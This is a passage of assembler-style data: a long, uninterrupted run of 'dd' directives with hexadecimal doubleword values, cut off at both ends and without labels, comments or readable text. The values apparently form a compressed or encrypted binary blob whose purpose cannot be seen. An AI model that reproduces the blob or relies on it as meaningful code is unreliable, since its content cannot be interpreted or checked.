73013F76h, 2B15E670h, 0DBC0DFC6h dd 587B007Ah, 4875F84Ch, 80B8E2EDh, 868A0205h, 0BCC02D20h dd 9D903Ch, 0EC71347Bh, 0F910764Bh, 102248h, 0A43A0F1Eh dd 6017E2h, 0FD41B4F6h, 51B932BAh, 50FE6131h, 6DF4DDF2h dd 0E0A4EAF5h, 0D9B10033h, 731CA20Ah, 5401236Eh, 72AAE8ADh dd 0D8848778h, 0A217402Bh, 3507C01Ch, 168292A7h, 5AFF99h dd 0ACAA34B4h, 2D0101EAh, 5FF770F8h, 93FCDED1h, 974A036Ah dd 0F69D0827h, 3AC61801h, 49EE69D4h, 32E5D6C0h, 68D09BADh dd 820000E4h, 7A80C26Dh, 2890FB15h, 0A0C83F8Fh, 8449B8h dd 0BA7FE983h, 0A348FDAEh, 0D086DF0Ch, 0F2D460ECh, 639A0BE7h dd 1CA05B21h, 0AD291C75h, 103F2630h, 71C17AE5h, 24E801DEh dd 5004B7BEh, 464CD0BAh, 0F08EC716h, 0B2B0FC02h, 0F8F4C0F7h dd 1FBD7BCAh, 43DAE6EEh, 34493E99h, 0FCC27CB8h, 0EB3F8400h dd 9047ECC3h, 755B0009h, 4291CC8Dh, 8CE216DFh, 82C470E7h dd 17905F90h, 0C92C0300h, 0ACB3F0EDh, 575A3EB9h, 0FEE34A80h dd 0AF03BCFDh, 3F959B4Ch, 3019B0A5h, 0A32262h, 647C7454h dd 0CAF5C94Ch, 0EF5C4B90h, 980D28BEh, 708B433Eh, 0ADFEB970h dd 0F4B07C00h, 5898C30Bh, 106069EEh, 9E814420h, 0DB00C920h dd 82D0CAB1h, 7FC25A1h, 0F7E404C1h, 0CD2470F1h, 0CB390BC8h dd 0F3BA802Dh, 0BC26109Ah, 0FA36073Fh, 0FA4093EEh, 4EE700E4h dd 9022D9F4h, 71FE3Bh, 8898396h, 287A919h, 24AEB6BAh, 0C604C0Ch dd 45105F77h, 1715BD7h, 0C54238B4h, 701DE5F2h, 0AB145E06h dd 4CB1E274h, 9ED0095h, 0ACF46D65h, 0CD233FB5h, 28E90C80h dd 9B2C32DAh, 0F5AB0101h, 36355B6Dh, 9D0060CEh, 0F1520002h dd 332AC99Eh, 4D009186h, 46C8C2A1h, 505D23h, 0F3420739h dd 614C5C7Dh, 0B704748h, 862F9257h, 104D6Ch, 0CDF0FC2Ah dd 372B48A8h, 7791E2Dh, 0BECB3508h, 4B777FCh, 5C2890F1h dd 0D5EBC240h, 3243EC80h, 505C1DDAh, 2AE0054h, 0D4227BB0h dd 0B1DF0179h, 0C4E3B6F7h, 51F04023h, 390EAB9Eh, 802D1147h dd 566448E7h, 18330309h, 1AA00825h, 0AD705800h, 31869C20h dd 6D3200A6h, 2DD81FD4h, 0A0B0816h, 80A71A18h, 0DDF483EBh dd 1DA9003Fh, 0E1E48A1h, 0C00716Ah, 0D144D420h, 2C318E61h dd 0EC0ECh, 5D5732CFh, 0B4008CACh, 0FD23C1EEh, 13F687DAh dd 0CF4AD92h, 1536C70Ch, 0B3CE3801h, 63C41DCCh, 0E0791420h dd 7FE3079Ch, 783302h, 8EA26C85h, 0E788F700h, 7C8F1658h dd 36BB005Fh, 0D0316551h, 8CFEB3F6h, 7F9E600Bh, 0BD5CA1A2h dd 8621E5E4h, 0B5305861h, 0A7DF0562h, 0D0FDA6BAh, 71ACCC54h dd 657DCA02h, 60DD7549h, 57A070h, 334DB911h, 812D438Dh dd 0DDC4E4F9h, 0C0C739CEh, 4B97DF2Ch, 0E9A200A0h, 43213984h dd 0D209454Ch, 3A38EFh, 63A52C0Ch, 0DF061CADh, 24260018h dd 0C59DB8B4h, 3C4E4Ch, 4FEA4FDh, 0EDE61Ch, 2223576Eh dd 5D0BEA56h, 0C6592900h, 3BB9358h, 8DDD0035h, 5AFCE4D3h dd 2800AF81h, 59FD660Bh, 71BF799Ch, 0BD3B03CAh, 188CB431h dd 60F61DA1h, 0C4004BF7h, 4858136Fh, 7BABFF45h, 364F0199h dd 4AD3127Eh, 4E308E8Eh, 0EE0D60A6h, 5D3F40h, 2770E069h dd 85F694A8h, 1443D54Ah, 907A9F61h, 48D88247h, 0E40050D6h dd 777B5D79h, 93045526h, 5BE7964Eh, 5B938A4h, 4C8F9569h dd 9EC4C084h, 0A858D019h, 146C00A4h, 52D4920h, 0BCA4026Dh dd 7AB513FDh, 0B1D4A080h, 81727CC5h, 5D831E14h, 940973B0h dd 1DDF8CAh, 5A7DD9A2h, 79D022h, 73E2EC1Ch, 0FF501869h dd 4004CFEh, 765DD3B4h, 80A6E8h, 0AEF4B340h, 0D77F4427h dd 67419A0Bh, 4A908043h, 3BB9ABA1h, 12001F6Fh, 7EAE428Ch dd 1BFAB87Fh, 2700E876h, 0D70BAC83h, 906901ADh, 1FFA2817h dd 0CD1B1ECEh, 575D0089h, 35DD308Bh, 7800FB90h, 0E85ABF04h dd 0FD178Eh, 67733BE7h, 0FAF1814Ch, 3E19481Dh, 0B0238C00h dd 3C39DCh, 0FBE72C42h, 76E20910h, 80451B3Dh, 0B6070CA4h dd 3A0E8Fh, 5DF0D251h, 7FC7E3FDh, 0F02CFF8h, 116BFC2h dd 2BE0823Ch, 0C830C3C3h, 248AACAh, 3BE68211h, 3440CDE7h dd 8E0FE202h, 60FFBDA4h, 0EC0D75C7h, 27DB093Dh, 0A4A0A033h dd 0FDE38677h, 7A164504h, 0A8C0A9F9h, 982DFA65h, 806A0178h dd 0BE5F8714h, 19C723Fh, 21302A75h, 8030736Ch, 6B2B1F31h dd 1DCBC035h, 5B6E55F7h, 0FDC38400h, 0CE3D960Bh, 79730060h dd 4AC8562Ch, 0BE25EE6Ch, 0CE74BCh, 4728F627h, 8D002106h dd 0FB2D4BC9h, 9E68A1h, 0D4453C8Bh, 82ACFF70h, 46787E00h dd 1DC7129Dh, 0FDE40035h, 0F38DA24Bh, 0EBF86D88h, 0BC40B700h dd 4C94B504h, 0F50A00C8h, 98514B7Ah, 16001A0Fh, 43B7321Ch dd 0B503A3h, 7BE3EC8Bh, 4BDD28C1h, 9EB61E0Eh, 85CEE5C8h dd 807D0092h, 391470A7h, 0CCC202ECh, 41C0B49Eh, 836B38E1h dd 8EDF088Ch, 1B80D7FDh, 0B8CD8Ch, 0DC9BA6C8h, 811C2AD1h dd 8562A907h, 0A5847E67h, 92D49881h, 5024F331h, 749C0021h dd 88BB5D2Fh, 0AD1FA2ABh, 42805F3Fh, 0DF75BE63h, 1E870068h dd 61707B9Fh, 0E1077210h, 82901985h, 0F962FBD0h, 1FD707A5h dd 100E7ACFh, 0D2B2242Dh, 9725A800h, 6BC45612h, 5CEA00DDh dd 3E52EDFBh, 0EF069242h, 75FFC971h, 74F6000Eh, 2C2D023Ch dd 17263BE0h, 0C80344D4h, 0E0CA8A5Fh, 3C728069h, 0F0004AC1h dd 0FBF417EFh, 83018547h, 61280415h, 0D1C0122Dh, 0D837073Eh dd 0C073B5FCh, 826B4CA6h, 690B9300h, 6EC28B5Eh, 0B6E90041h dd 1191E5C1h, 490E396Ah, 0C0C820C3h, 0D079F0CFh, 747E0058h dd 5D7FA146h, 8807C445h, 0F5189C16h, 4A1DED40h, 1718B83Fh dd 0A4FF7Eh, 0FB15D188h, 69E0E86Ah, 2CD0BA2Eh, 0D2D32E01h dd 48FC1231h, 20860717h, 6B3891h, 51E14B06h, 0C402D298h dd 1E25DD3Bh, 5FA8E8A1h, 34552E13h, 6351006Ch, 78023645h dd 881FDF30h, 21BA485h, 0B5DA885Ch, 10B1AD90h, 0F04006FEh dd 0BF7101D6h, 0C019D97Dh, 203D093h, 21591030h, 3233BD2h dd 7454B53h, 83A58350h, 2A93D0E9h, 0D80A6198h, 0A836B500h dd 1D8CC2E0h, 0BC3000A2h, 3930C44h, 9615C012h, 0C94211Bh dd 881EF1BDh, 38C50236h, 0C64EE482h, 60A61CE3h, 0DCE54FFCh dd 389AA2E6h, 20159928h, 0D8D28830h, 3CB4229Bh, 97AA81AAh dd 801C8410h dd 6335B05Ch, 0ED4D0E3h, 4BFD3B0h, 5F67607h, 0F430DB4Eh dd 73D52508h, 41FA3EEDh, 0A84D1100h, 0C46662F9h, 0E6B8B20Eh dd 1421208Bh, 1FD5105Ah, 4BBD4D2Bh, 2581FA87h, 0D0582667h dd 0AA01D7C0h, 73BCA7A5h, 93CCCC7Bh, 74F49871h, 919617BAh dd 3AF0D4F1h, 4D00BA04h, 8B7269DAh, 943CF87Eh, 75A9184Eh dd 0ED9C10h, 24333C0Fh, 25BEDBE2h, 0B5079E7Ch, 4AE56DFBh dd 558201C8h, 0E037F642h, 0CC911E79h, 74136200h, 176FF1Ch dd 3CBF6086h, 0F49B8E0Fh, 223058B5h, 3A3F8924h, 9D470E6Bh dd 7E412F9Ch, 8482ED4Fh, 19BD2929h, 3243AA00h, 5D002B9Dh dd 5AEDDD96h, 0C3A0E47Dh, 0F4CF8321h, 308ED800h, 0C68F3208h dd 541E00D5h, 8B03AF97h, 35034EF6h, 9408EEB9h, 0B13100D0h dd 0B78A7F3Dh, 52EC20D7h, 2968AE00h, 0A5958FD0h, 86B100EBh dd 0DE038223h, 0AF000990h, 0C2DF6F79h, 607EA581h, 0AD712024h dd 9F79CD8Ah, 99682230h, 3BA5A652h, 2967559Bh, 0A2E46151h dd 94119792h, 3BFCDC02h, 3CC890CAh, 789300BCh, 0F7639086h dd 14C07EEh, 160E135Ch, 0D8A5B007h, 8098EBCEh, 4BD150EEh dd 72AA4C5Dh, 0A596EE03h, 600625B5h, 0C563024Fh, 28827C98h dd 12EC67C3h, 868AB1h, 37BE9508h, 190BDD01h, 204C15A1h dd 908A9F08h, 1DBB2CF2h, 4F031E00h, 823358Dh, 82870991h dd 0A880B8D1h, 40171B3Dh, 0F731BB07h, 9EC51F85h, 8F9417C0h dd 7CBA75A8h, 52900AF8h, 9B06B46h, 0DCE07F1Fh, 8330A323h dd 9E929854h, 0E2AF0130h, 525590DFh, 5818A857h, 8A40260Fh dd 4FCE877Eh, 0C6D9A686h, 283893F0h, 66788800h, 8FA4A319h dd 346A3035h, 4A1B7918h, 0F9D05E01h, 3BBD2060h, 0D158F0h dd 5A8A23D7h, 46F61B8h, 7FAC9107h, 0AFE04316h, 1D750B2h dd 0DA5FE4C8h, 0DC0D7CCFh, 667C03D6h, 48F8CC01h, 0F4F08CA8h dd 88A0C426h, 6605EA52h, 0D2FEBB44h, 0C3220C03h, 195002C4h dd 20296216h, 1B7CCB20h, 7D3607ACh, 0FCFE653Ah, 3892AF08h dd 1B846400h, 23CBA4EEh, 742648D4h, 60A3200Bh, 0F72E9420h dd 946093B4h, 23A9B811h, 0C507A0Dh, 9B991F44h, 0D1C0C108h dd 8723A8D7h, 0F29A1CBBh, 0B7A40EFh, 0F95C186Fh, 26397F44h dd 20011AFh, 0CBFAB24Fh, 3EE0CC8Eh, 8EE63B79h, 114C649h dd 0EAE39803h, 0CC415EFBh, 0DFEA8C18h, 296D2383h, 0B509B000h dd 3E9BAB89h, 2C444DE1h, 27E70402h, 4043F0F8h, 0A458AAB8h dd 0F401CA6h, 0C74F5F8h, 9A2A003Ah, 0EDD02B2Fh, 7F000D34h dd 0E5E0BBC9h, 129BA35Dh, 40641E83h, 0D6F06544h, 0AA04818Dh dd 600A58C2h, 681344C2h, 0F8486Ch, 0BDC675D5h, 85406F6Bh dd 0DAFD9509h, 91FC2EBAh, 0F5CB100h, 0FA2DD16Fh, 9667C401h dd 4320C10Ch, 93E7430h, 836BDA3Ah, 8888F80Ch, 0D603028Ch dd 0B562818Ch, 21806D19h, 68D550C5h, 3F007D40h, 9E75AD24h dd 243A7B79h, 87847F12h, 4204DDC9h, 0A0E081A5h, 0DF072977h dd 3B1A42BCh, 80D82A92h, 0FEBE948Ch, 0C75703B0h, 1843DD7Fh dd 0A097C0F7h, 9900E008h, 194DEB7Eh, 24161C9Dh, 6F4828C8h dd 36521BC1h, 88C7188Dh, 1B0086BEh, 834CE70Ch, 2663D021h dd 804EECBh, 0D900625Ah, 8663546h, 553D3509h, 0C57C0A40h dd 1B814034h, 554636B5h, 896B8879h, 0AFCC1B04h, 20C477DBh dd 0A16368C2h, 0D5120B0h, 4CBF59E0h, 0FB094CD1h, 74A758AEh dd 81E4C155h, 952086D9h, 60085A71h, 61352168h, 7F001AE4h dd 0B7E8FDF9h, 7945251Fh, 0FFC0C2BAh, 0D068CC9Eh, 0AC52161Ah dd 1B6A015Ch, 3B2D36A6h, 0B88BC90Ch, 0B71B92h, 90E54FDEh dd 81D0DE8h, 0B0003892h, 4A2570BBh, 2D9D61Bh, 0CA500A40h dd 0E401DC6Ah, 7C345BEAh, 699EF018h, 1C1D5822h, 7280B591h dd 0E48763E7h, 50392260h, 2EC9AAC8h, 6004E3CAh, 37E00548h dd 78135301h, 895D3EF7h, 2E9F460h, 0AF202BE7h, 0A0AE83B1h dd 197E62E3h, 0A7223200h, 735250F3h, 730E797h, 1457D4Bh dd 910C7781h, 4465EBF2h, 23D43AACh, 2EA80753h, 6429A0BEh dd 4E0B675Ch, 29D4EEB2h, 41E89A14h, 9218B384h, 50100EF6h dd 0D2C87A8Bh, 23A46280h, 515F339h, 0EE033C83h, 0ABB40AD5h dd 1B6BC3F8h, 182536C9h, 93C88BAFh, 0FF73F71Bh, 42209C5Ch dd 589064E0h, 0F1238D60h, 11735023h, 8F9300BDh, 3AC10823h dd 2EB102ABh, 5A49CAD3h, 0BDA1A840h, 0AC90B898h, 98694B22h dd 0F7BF2104h, 2965511h, 9B500444h, 0BE4404CCh, 23C700D8h dd 6F8B3DC6h, 483AB7E5h, 148F8311h, 14D1059Eh, 642F6970h dd 8CC0ACh, 0D57C41CCh, 0FB4031C9h, 7B071D0Eh, 718480F8h dd 0BC6C4CAh, 2D0CBE69h, 0BD916017h, 0E60C2F80h, 48020A56h dd 8DD0AFEAh, 0C07C628Fh, 4C09807Ch, 9F384C1Ah, 740C7EACh dd 14E18FDh, 0EFAE958Ch, 733B7287h, 92506458h, 0E4D60D61h dd 678C1281h, 20A3216Fh, 0A7BFCAD5h, 7082AF24h, 3878CD80h dd 0FC791CBEh, 0C1E40016h, 1FA576BAh, 0F1C7D33Ah, 0AF76B251h dd 3394B0C8h, 0C44180AEh, 8340E7B2h, 580FC989h, 4CF55ED6h dd 5D215Ah, 3A90D274h, 0A87D065Bh, 73205090h, 0DAA0025Eh dd 0EF161546h, 0DBCB5060h, 0B07E7C30h, 4255F0Ah, 10A9A470h dd 0AF14C8DCh, 0E457FE02h, 596D7B0Dh, 1A720010h, 965D28B9h dd 66B9C767h, 0E1873BD2h, 4ACC7A5Bh, 5C220091h, 0EFFF45ACh dd 9C593983h, 0A0B10688h, 7AB95150h, 4DDE04E8h, 90B322F7h dd 375370B4h, 36D1A200h, 0E7D0CE31h, 99600E5Ah, 4560AD9Ah dd 37C2B97Bh, 0E90028B2h, 0F8A29688h, 4D86787Eh, 0AC803CF4h dd 0A1D97CE4h, 924D448Ch, 88E4B303h, 0F8A4E5C7h, 4BBED4Ch dd 55828677h, 0A0F092EAh, 1A934059h, 0CC231C2Fh, 154F0700h dd 7DB8820Ah, 31AD0323h, 8A0997CDh, 0DFFEECA8h, 644A3C91h dd 9B75215Ch, 7900EB9Fh, 0DED2A469h, 189CF619h, 0C85DEE3Dh dd 8272B3B7h, 13BD2896h, 603B37F7h, 8300BF23h, 42B17251h dd 80570410h, 0D2EC22D6h, 2C661A58h, 7FAF1815h, 51B900B8h dd 9D723CBAh, 9CFB017Ch, 1F20165Ch, 1EE0F45Dh, 4F1640B0h dd 3020580Bh, 4CC1BF73h, 0A623D87Ah, 0B01B7800h, 86391D36h dd 168B244h, 28891B80h, 24AAEA4Fh, 3C06BFACh, 454EEE0Bh dd 67E880A1h, 7F0E8629h, 0D736571Bh, 0C18C38h, 68091B87h dd 37843688h, 3978C200h, 0D6EA4C2Ah, 558B1C7h, 48332EF4h dd 0C0CEAEB0h, 0A3500B23h, 0BC448679h, 23A50055h, 4E276233h dd 1D00727Dh, 0F4B3E402h, 0B96FBD5h, 0AFDEA510h, 9CCC0068h dd 98F2400h, 629B9AB5h, 223600BAh, 0D02BD97Fh, 1492651Fh dd 524D4A00h, 0BB6BC55h, 2C44B888h, 2CAC0E70h, 58909144h dd 75780F14h, 647CA5E5h, 0A2BFEC04h, 6FC84C8Bh, 6551AFCEh dd 2CCC5BB1h, 0E64D02B2h, 1E764E86h, 0D0375080h, 0F21F045Ch dd 0A7855985h, 8C47C996h, 7D10FF84h, 71613928h, 754DF29Ah dd 82CD0417h, 90037665h, 3CA5C5F0h, 74071912h, 0DCF43C90h dd 156C79CBh, 2C588ED0h, 699F0D00h, 0B4F1F8DAh, 71635000h dd 0AA6CB959h, 4E2D0FA7h, 44B30AEAh, 0A14255CCh, 0A2C433D4h dd 0F35E30BFh, 25A02C00h, 0E7C68991h, 0D741369h, 2F00061Ah dd 0A1C686Dh, 5F894E71h, 0A7E405FAh, 6CC8448Bh, 438077C4h dd 0D991B9h, 9C64CBFh, 1AF9CA97h, 9278BE3Dh, 8080C89Eh dd 2E3A52B7h, 0E02A20h, 7630FC19h, 8A00ED26h, 6C114702h dd 0EDF0908h, 4865772Eh dd 7C9B95C0h, 0ECAA84AEh, 0DCA6160h, 6B39EBF6h, 0FBA9801Dh dd 8576BB5Bh, 681A030h, 1A710378h, 528399C0h, 0A4972FA2h dd 281C091h, 20283292h, 167E9F8Ch, 582C2400h, 345417E9h dd 68D6B0h, 13BCBA40h, 0EC1716D1h, 1424AE76h, 0D223E03Ah dd 92A63E00h, 4872358Fh, 0BDF8F038h, 0D9C5028Ch, 3BB49EECh dd 5086A260h, 30A2AC00h, 3854748Ch, 73DA254Eh, 0EA628480h dd 70C16AC3h, 841BDC13h, 48BC18A2h, 892310F5h, 8FD60601h dd 1863FA81h, 0D54FCA83h, 69A320D1h, 9E992CA8h, 0C4BFE904h dd 0D251F480h, 98C050AAh, 0C37900A9h, 0F3FC299Dh, 500383B5h dd 0FEAAC601h, 0A5D1E836h, 3DC1036Bh, 7EFF26B0h, 7805BCA0h dd 81FA223Eh, 0A1D6391Ch, 0C7608C94h, 3E21C070h, 2773F91Ah dd 0DD0E93ECh, 6FE25652h, 9F3343BDh, 0F2378803h, 2D6538B9h dd 0D8398530h, 0EA008E79h, 3A2844E1h, 0F9C592h, 0D5B3D6F6h dd 43C096AEh, 0B8310603h, 0C0180738h, 1CBE6ADCh, 837A6421h dd 5F623DCCh, 8005E8A1h, 0BE747920h, 2147F1h, 83E136C3h dd 1A7BED53h, 95AC0107h, 0BAC09B0Ah, 0C0CCBB55h, 15601888h dd 0D5502FE2h, 2D317F91h, 0BD640876h, 4080209Eh, 482E9DE2h dd 7A001AFBh, 0D6BCAFD8h, 680E86h, 0C820E4C6h, 82383C2Ah dd 216B2600h, 5044FFDAh, 6D773CC5h, 0CE1DF100h, 66BF9B0Fh dd 38643B30h, 0FD187Fh, 0C013A1C2h, 0B4CA5BCh, 620123Ah dd 4488396Ch, 21B06708h, 0C90B80C6h, 9F758725h, 0D31E2100h dd 1258A0A8h, 0D160C0DDh, 0C0CAFA86h, 5133E407h, 45202D57h dd 681AFEh, 210A4F32h, 351326B1h, 0ADFF8306h, 3204355h dd 7DA60785h, 0DCA0DE2Fh, 5D008266h, 2849D687h, 0C5FA264h dd 608AEED3h, 0F1000CC0h, 9B110579h, 50BF44Fh, 22ECF087h dd 44921FD2h, 9817B03Ah, 0FA081F28h, 0CF411C6Ch, 175B0091h dd 0B69E3DF9h, 0DB6A0E93h, 0AE40D40Bh, 65835ED5h, 3FE78C3h dd 0BD3015C7h, 0E200D452h, 6B546D1Eh, 4E001061h, 702DCDE7h dd 0A1D6BDA6h, 444829A2h, 6AFA0821h, 8AC4311Ch, 0F9194140h dd 0C04F6238h, 21576309h, 0FEEED520h, 3E1AFC50h, 21EC1950h dd 0F9383984h, 0CC3DFC13h, 0EA851C01h, 9583A73Fh, 70E0EC60h dd 0B92A1C34h, 96280533h, 21C40064h, 0B6ED0EABh, 0B44D52h dd 0FA4C4410h, 242402BFh, 1A84E45h, 0C2B6D534h, 66C04881h dd 0EE7599C3h, 0A000BCEAh, 84B95053h, 0BC488C90h, 0EFE2334h dd 20C40B4Dh, 20B56234h, 5A0B4567h, 0D02B602h, 48695361h dd 49D582E8h, 6306B8E7h, 995F3D1Bh, 4C7BEDE0h, 53C42606h dd 4679B081h, 0B320217h, 319C201Ch, 4A6410ACh, 82D9000Bh dd 45CDDEF1h, 1C001E70h, 86D206AFh, 24C8ADA4h, 2188C3Ch dd 0C99821EFh, 2D1EBC80h, 10E6E4C3h, 8185ED37h, 0FB21C0CEh dd 26D160B2h, 1170A727h, 0FA25802Dh, 91111C6Eh, 0FCD5C048h dd 420083F9h, 0A6337145h, 7DE3B48Bh, 134E118Eh, 31883070h dd 84E618h, 7F54D749h, 268719A3h, 0DC29E028h, 0C1AFF700h dd 0BEEA9CE4h, 14BD15C2h, 9BE894C0h, 96001E98h, 6EE5A8B3h dd 13D839E3h, 60B8BA35h, 36E21070h, 1111D523h, 288B0068h dd 98AD01E2h, 0D60A06F7h, 0D886DEB6h, 2A335500h, 4F4263F4h dd 2806493Dh, 0C91C6600h, 495E65D8h, 0CCA00776h, 0F0A4CEFh dd 0B4A2400Eh, 23802B11h, 211C70FAh, 8D22D743h, 0F91B3F00h dd 401CDA6Fh, 79CF02C6h, 4D352362h, 1D0424C4h, 2D683CCAh dd 6A8F54C0h, 1B182B80h, 0B36019Ch, 183C2010h, 2E6888AAh dd 0D10B4Ch, 0FE92513Dh, 1860E5F6h, 6869F94Bh, 709DA12h dd 0FC818EFh, 286C6870h, 0B5F62040h, 374CEEF8h, 61721084h dd 28350901h, 66480641h, 0BE6D1258h, 5413E813h, 20D15832h dd 0D9BE56FCh, 0C27FFD00h, 0C3D2DBD0h, 1EE704DDh, 0C00BDA01h dd 9C9053ACh, 0D83DFF2Ah, 0E27DEEF0h, 17543C92h, 49127DF4h dd 9040B02Fh, 0B64F13CEh, 0F8166012h, 45079584h, 7069F576h dd 11849D49h, 54E78766h, 3CF1401Fh, 0CA868Fh, 39C6BB37h dd 95536318h, 9F059390h, 0EDE848D6h, 27EFA402h, 3AF4A447h dd 0E3DCC08Bh, 75C3F600h, 0A8264A7h, 78AB5ED3h, 0D0850080h dd 7721EE23h, 0E09531CEh, 264D5302h, 514B1862h, 8893906Fh dd 50960C38h, 130C0582h, 492B6674h, 0FF8202C5h, 63592895h dd 3048A86Ah, 0B9D6AD3Bh, 8C738C2Fh, 40E22E00h, 0FDA59A5Eh dd 0C583F4EDh, 40CAA021h, 6620F8BCh, 440902DEh, 809E094Dh dd 0C56C84CCh, 5C929Fh, 65AC0E9Ah, 25F54331h, 402EC824h dd 1631608h, 0B9CB326Eh, 0FCC0CEAFh, 712EF11Eh, 5C3808DBh dd 42C7B44h, 0FC202C63h, 1302B746h, 29D549E2h, 6E105731h dd 0D400E22Bh, 0EA8FF973h, 38B08B84h, 81A43649h, 0AF465EC0h dd 0A6A3E601h, 0EA573A20h, 27548490h, 1CD2CC18h, 2C69CBA9h dd 5374748Fh, 73C023h, 0D535E20Fh, 0E0B9C249h, 0E2278A60h dd 0BC6E00F4h, 2B04C17Ch, 4F1893CCh, 699A45Fh, 1E124F9h dd 60C403B8h, 0C3B966EEh, 14A820BBh, 95043898h, 407132D9h dd 0A3862881h, 48642E60h, 8AF810B0h, 3B0B1C8Ch, 7C19F848h dd 63BE18AEh, 30ABE29Ch, 7C0074B7h, 0A4101817h, 551158Ah dd 5EC78F29h, 8B58814Bh, 2FD10776h, 0D8892B26h, 10806DBFh dd 39FD327Eh, 6436209h, 6C64B04Bh, 641F12BEh, 0BC8B8Ah dd 0ADBE6E27h, 55825830h, 65F1BCD8h, 56233822h, 4CE21201h dd 5C1821D5h, 2A6D88h, 7E2707E2h, 66BF694Ah, 8F6CC448h dd 0FCF4851h, 90395D3h, 1024D236h, 210AF828h, 0D6C2D069h dd 0C43C67AFh, 0F270608Dh, 38750974h, 405A016h, 6DBE0BEDh dd 2B6584B0h, 32C94D01h, 0BA78BC9Fh, 7C1E18BFh, 6D60013Ah dd 0FAC8FE9Dh, 681AFD00h, 5C98B84Dh, 50C15419h, 2C796B52h dd 3E2E237Ch, 6422BE04h, 20D06292h, 7ABE7576h, 2CE8A271h dd 726B800h, 7E53BDFFh, 802F4CA8h, 2091A600h, 0A066C017h dd 3484A8AAh, 0B386019h, 2C202C0Eh, 306270A0h, 0B6150B00h dd 0AEFB752Bh, 948F58F2h, 726A2D10h, 6F20D098h, 86662570h dd 41CF0884h, 11622A35h, 16F89CA2h, 0BE654Eh, 95314D25h dd 0DE702291h, 49F84F49h, 87C4CC0h, 988C1F5Eh, 2D831903h dd 7F943754h, 2933BAA0h, 2340685Ch, 0FA28002Ch, 0D9891C6Dh dd 0D860C891h, 0EE2F9FFh, 1F4FF186h, 0C0021D64h, 0A9A42D08h dd 0A43B144Ah, 1A00AE23h, 3AC8299Fh, 786D0FF0h, 96D4B733h dd 0C913071Dh, 903072BAh, 3808E20Eh, 64C241D5h, 26894063h dd 0F9AE2h, 682F7D17h, 0AD205857h, 8856CD00h, 52B92A10h dd 7818125Ah, 0A3F8C01Fh, 96181323h, 2069CB1Ah, 9468031Ch dd 2506D97Ch, 59D0DF83h, 0F8D4046Eh, 506E4BDCh, 666BD400h dd 7090428h, 5324C37Ch, 3D93446Eh, 0B7C0089Ah, 4E2451DDh dd 0B1F67900h, 86D559E1h, 9C7540C2h, 81249458h, 714F66D3h dd 39091C62h, 0FCC70FBAh, 0E3606344h, 0FD04BF9Ah, 19EF6965h dd 0AAD30B81h, 231A0428h, 78E5D986h, 7F8031EFh, 1366D59Ch dd 30CC6E4Dh, 0E5555E1Eh, 0FF6D27D2h, 23762C20h, 0BD00C4AEh dd 0A4FAFBBAh, 191AB3Ch, 7E34D380h, 70010630h, 5E1557D0h dd 234C7623h, 0FA26012Ah, 73191C6Fh, 0FDD2805Ch, 4FDBF9h dd 6A7BCCA6h, 8C0E5DEh, 70901259h, 89B48825h, 0C05C4D00h dd 89FB1C2h, 0A85CC100h, 954D4814h, 0BAA3037Dh, 9DC5CC18h dd 9A343100h, 9F70AF33h dd 0B7D8C4D0h, 0E88B2498h, 20C07788h, 0FC6C49E7h, 37E40B40h dd 8D098257h, 0F8C5A421h, 8A788017h, 499D8CE9h, 1FA6FACFh dd 0C01C5FE0h, 4EA16348h, 0BC18EF93h, 0E6A999C2h, 51D30062h dd 0F1AE0901h, 451C4727h, 0FFC7572Ah, 42B074A7h, 49BCB6EDh dd 0F2003054h, 0F658CBD6h, 4500838Fh, 4A4CE167h, 1C846B28h dd 3B9407h, 92309614h, 9A4CDA13h, 65C80287h, 0C0CBBD4Bh dd 0B1ED0638h, 18E6D118h, 477C03ABh, 0BF9F01FFh, 92BC5801h dd 2EEF4B9Dh, 0C05E034h, 722D5B94h, 0D54AF568h, 5E036016h dd 90099B1Fh, 5670A8BFh, 3D201C4Bh, 367CEB18h, 124ED198h dd 9C1B26Ch, 4885AFCCh, 6256C581h, 30C04B20h, 0A8994420h dd 0B43C5C0h, 0B38C02F1h, 0AD1A16CAh, 0AAE814E0h, 0FC00F4E8h dd 837DD405h, 58129807h, 0B0BC7081h, 0AE55018Ch, 0B30A2D50h dd 0FD98D021h, 0E5EE3C02h, 0A059BD05h, 0B8547EE0h, 7817009Ch dd 6E428DA5h, 0FA005EF8h, 0E9C89B0Eh, 2DD6FDEh, 11E7DD2h dd 0D0D0E462h, 0CB60B610h, 408BFE12h, 0C6F50850h, 6E07150Eh dd 7F73A53Dh, 188CD824h, 0C35A0057h, 33A4753Ah, 5D026899h dd 3F4A1CFEh, 0EDE08FBAh, 30A1C9CFh, 35946004h, 5B00833Fh dd 3C724729h, 7C071731h, 7B4C3D2Bh, 31974FAh, 731EB02Ch dd 7A0143Fh, 2D003C46h, 26322177h, 2C29227Fh, 1624831Ch dd 88D4CB41h, 9E12C0D2h, 6909255Eh, 240716E3h, 6F604264h dd 641226BEh, 3C8A5F72h, 0BEB8FA07h, 0C94A31E7h, 13407076h dd 28E33902h, 80D5E659h, 0AF48B0B8h, 611B0443h, 97065046h dd 0DEB6F148h, 12E46877h, 687C68F9h, 2CB58B57h, 9C465B20h dd 53631703h, 980B7255h, 48EED34Dh, 0B15820DCh, 185CD1FCh dd 0BF300125h, 34914B3h, 0F6FC40ABh, 0CA4C2122h, 74312C08h dd 1C877411h, 0B1D5E1E2h, 870F0BC1h, 26E0E214h, 3817F573h dd 0BCFB8A0Ch, 0C214Fh, 614C325Bh, 0C365B19Ah, 746B7E07h dd 21535AA4h, 9534F8ACh, 0FAD801CCh, 0EE4EFAEh, 0A666D813h dd 642A0C2h, 70ECB02Fh, 642311BEh, 80D2886Ah, 0BABE71FBh dd 3F00D9DCh, 82AA5756h, 50DABFFh, 488F4A09h, 0DD38A019h dd 1EADBE0Eh, 0F8EA4A51h, 5E080C2Ch, 847F0071h, 200C7C4Fh dd 12F47E01h, 869DDDFAh, 76FF6CF0h, 4019246Fh, 0D1465E3Ch dd 44C1F500h, 0F14383B6h, 0B7F1F09h, 0ACF0C8FFh, 0FE4880CBh dd 0C085ED24h, 0EC5D8340h, 11126027h, 6F109507h, 44D3432Eh dd 3C7D2A80h, 4BDD404h, 0C1C95683h, 4654D01Fh, 0C00D6CDh dd 91054BA3h, 0D60D1B29h, 0C8B4CBC0h, 3124C776h, 0E4250F8Dh dd 1F2CB735h, 7F1306C6h, 0B588EC8Bh, 77FE3EC1h, 9450E0E9h dd 0B02C33D8h, 1DC4E299h, 891578A7h, 6CE86C50h, 54911D9Ch dd 0C6944004h, 16068C1h, 0C542F042h, 60D3E46Ch, 4A2AF09h dd 